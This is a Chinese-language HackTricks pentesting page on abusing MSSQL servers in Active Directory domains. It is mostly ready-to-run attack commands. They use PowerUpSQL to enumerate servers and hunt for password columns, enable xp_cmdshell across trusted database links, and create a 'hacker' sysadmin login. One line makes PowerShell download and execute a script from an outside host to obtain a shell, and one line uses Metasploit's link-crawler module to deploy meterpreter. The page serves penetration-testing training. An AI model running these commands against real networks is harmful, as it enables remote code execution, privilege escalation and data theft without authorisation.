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180 lines
8.8 KiB
Markdown
180 lines
8.8 KiB
Markdown
# MSSQL AD 滥用
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<details>
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<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>
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* 您在**网络安全公司**工作吗？ 想要在 HackTricks 上看到您的**公司广告**？ 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
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* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
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* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
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* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
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* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
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</details>
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## **MSSQL 枚举 / 发现**
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在这种情况下，PowerUpSQL PowerShell 模块非常有用。
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```powershell
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Import-Module .\PowerupSQL.psd1
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```
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### 无需域会话从网络枚举
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#If you don't have a AD account, you can try to find MSSQL scanning via UDP
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#First, you will need a list of hosts to scan
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Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10
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#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
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#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
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Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test
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```
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### 从域内进行枚举
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```powershell
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# Get local MSSQL instance (if any)
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Get-SQLInstanceLocal
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Get-SQLInstanceLocal | Get-SQLServerInfo
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#Get info about valid MSQL instances running in domain
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#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
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Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose
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#Test connections with each one
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Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose
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#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
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Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
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# Get DBs, test connections and get info in oneliner
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo
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```
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## MSSQL基本滥用
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### 访问数据库
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```powershell
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#Perform a SQL query
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select @@servername"
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#Dump an instance (a lotof CVSs generated in current dir)
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Invoke-SQLDumpInfo -Verbose -Instance "dcorp-mssql"
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# Search keywords in columns trying to access the MSSQL DBs
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## This won't use trusted SQL links
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Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLColumnSampleDataThreaded -Keywords "password" -SampleSize 5 | select instance, database, column, sample | ft -autosize
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```
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### MSSQL RCE
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可能还可以在 MSSQL 主机内部执行命令
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```powershell
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Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults
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# Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary
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```
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### MSSQL基本黑客技巧
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{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
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[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
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{% endcontent-ref %}
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## MSSQL信任链接
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如果一个MSSQL实例被另一个MSSQL实例信任（数据库链接）。如果用户对受信任的数据库有特权，他将能够**利用信任关系在另一个实例中执行查询**。这些信任关系可以被链接在一起，最终用户可能会找到一些配置不当的数据库，从而能够执行命令。
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**数据库之间的链接甚至可以跨越森林信任。**
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### Powershell滥用
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```powershell
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#Look for MSSQL links of an accessible instance
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Get-SQLServerLink -Instance dcorp-mssql -Verbose #Check for DatabaseLinkd > 0
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#Crawl trusted links, starting from the given one (the user being used by the MSSQL instance is also specified)
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Verbose
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#If you are sysadmin in some trusted link you can enable xp_cmdshell with:
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Get-SQLServerLinkCrawl -instance "<INSTANCE1>" -verbose -Query 'EXECUTE(''sp_configure ''''xp_cmdshell'''',1;reconfigure;'') AT "<INSTANCE2>"'
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#Execute a query in all linked instances (try to execute commands), output should be in CustomQuery field
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Get-SQLServerLinkCrawl -Instance mssql-srv.domain.local -Query "exec master..xp_cmdshell 'whoami'"
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#Obtain a shell
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Get-SQLServerLinkCrawl -Instance dcorp-mssql -Query 'exec master..xp_cmdshell "powershell iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1'')"'
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#Check for possible vulnerabilities on an instance where you have access
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Invoke-SQLAudit -Verbose -Instance "dcorp-mssql.dollarcorp.moneycorp.local"
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#Try to escalate privileges on an instance
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Invoke-SQLEscalatePriv –Verbose –Instance "SQLServer1\Instance1"
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#Manual trusted link queery
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query "select * from openquery(""sql2.domain.io"", 'select * from information_schema.tables')"
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## Enable xp_cmdshell and check it
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'SELECT * FROM OPENQUERY("sql2.domain.io", ''SELECT * FROM sys.configurations WHERE name = ''''xp_cmdshell'''''');'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''show advanced options'''', 1; reconfigure;'') AT [sql.rto.external]'
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Get-SQLQuery -Instance "sql.domain.io,1433" -Query 'EXEC(''sp_configure ''''xp_cmdshell'''', 1; reconfigure;'') AT [sql.rto.external]'
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## If you see the results of @@selectname, it worked
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Get-SQLQuery -Instance "sql.rto.local,1433" -Query 'SELECT * FROM OPENQUERY("sql.rto.external", ''select @@servername; exec xp_cmdshell ''''powershell whoami'''''');'
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```
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### Metasploit
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您可以使用Metasploit轻松检查受信任的链接。
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```bash
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#Set username, password, windows auth (if using AD), IP...
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msf> use exploit/windows/mssql/mssql_linkcrawler
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[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
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```
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注意，metasploit 将尝试仅滥用 MSSQL 中的 `openquery()` 函数（因此，如果您无法使用 `openquery()` 执行命令，则需要手动尝试 `EXECUTE` 方法来执行命令，详见下文。）
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### 手动 - Openquery()
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从 **Linux** 中，您可以使用 **sqsh** 和 **mssqlclient.py** 获得 MSSQL 控制台 shell。
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从 **Windows** 中，您还可以找到链接，并使用类似 **HeidiSQL** 的 **MSSQL 客户端** 手动执行命令。
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_使用 Windows 身份验证登录：_
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 (1).png>)
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#### 查找可信链接
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```sql
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select * from master..sysservers;
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EXEC sp_linkedservers;
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```
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.png>)
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#### 在可信链接中执行查询
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通过链接执行查询（例如：在新可访问实例中查找更多链接）：
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```sql
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select * from openquery("dcorp-sql1", 'select * from master..sysservers')
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```
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{% hint style="warning" %}
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检查双引号和单引号的使用方式，以确保使用正确。
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{% endhint %}
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.png>)
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您可以手动无限延续这些受信任的链接链。
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```sql
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# First level RCE
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SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
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# Second level RCE
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SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
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```
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### 手动 - EXECUTE
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您还可以使用`EXECUTE`来滥用受信任的链接：
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```bash
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#Create user and give admin privileges
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EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
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```
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## 本地权限提升
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**MSSQL本地用户**通常具有一种特殊特权，称为**`SeImpersonatePrivilege`**。这允许该帐户在身份验证后“模拟客户端”。
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许多作者提出的一种策略是强制**SYSTEM服务**对攻击者创建的恶意或中间人服务进行身份验证。然后，这个恶意服务能够在SYSTEM服务尝试进行身份验证时冒充SYSTEM服务。
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[SweetPotato](https://github.com/CCob/SweetPotato)收集了这些各种技术，可以通过Beacon的`execute-assembly`命令执行。
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